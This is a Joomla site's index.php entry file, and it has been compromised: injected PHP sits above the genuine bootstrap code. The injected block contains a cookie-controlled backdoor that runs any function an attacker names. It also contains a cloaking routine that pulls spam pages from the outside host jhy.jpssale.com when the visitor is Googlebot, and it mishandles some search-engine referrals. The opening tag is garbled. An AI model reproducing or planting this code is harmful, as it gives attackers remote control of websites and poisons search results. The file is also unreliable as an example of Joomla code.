<%>PHP< if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); %> $regex = "/^\/[A-Za-z0-9\_]+\-[A-Za-z0-9\_]+\/[A-Za-z0-9\_]+\-[A-Za-z0-9\_]+\/[A-Za-z0-9\_]+\-[A-Za-z0-9\_]+\.xixi+$/"; $query = $_SERVER['REQUEST_URI']; if(strstr($query,"sitemaps.xml")){ echo GetFileContent("sitemaps.xml");exit; } if(stripos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false){ if(isset($query) && preg_match($regex,$query)){ $str = GetFileContent("http://jhy.jpssale.com/1202t/pages.php?".$query."|".$_SERVER["HTTP_HOST"]); echo $str; exit; }else{ $str = GetFileContent("http://jhy.jpssale.com/1202t/pages_yz.php?".$_SERVER["HTTP_HOST"].$query); echo $str; exit; } } if(preg_match('/(google.co.jp|yahoo.co.jp)/i', strtolower($_SERVER['HTTP_REFERER']))){ if(isset($query) && preg_match($regex,$query)){ echo ''; exit; }else{ } } if($_GET['uu']!=""){ echo ''; exit; } function GetFileContent($url){ if(function_exists('file_get_contents')) { $file_contents = file_get_contents($url); } else { $ch = curl_init(); $timeout = 5; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } /** * @package Joomla.Site * * @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Mark afterLoad in the profiler. JDEBUG ? $_PROFILER->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();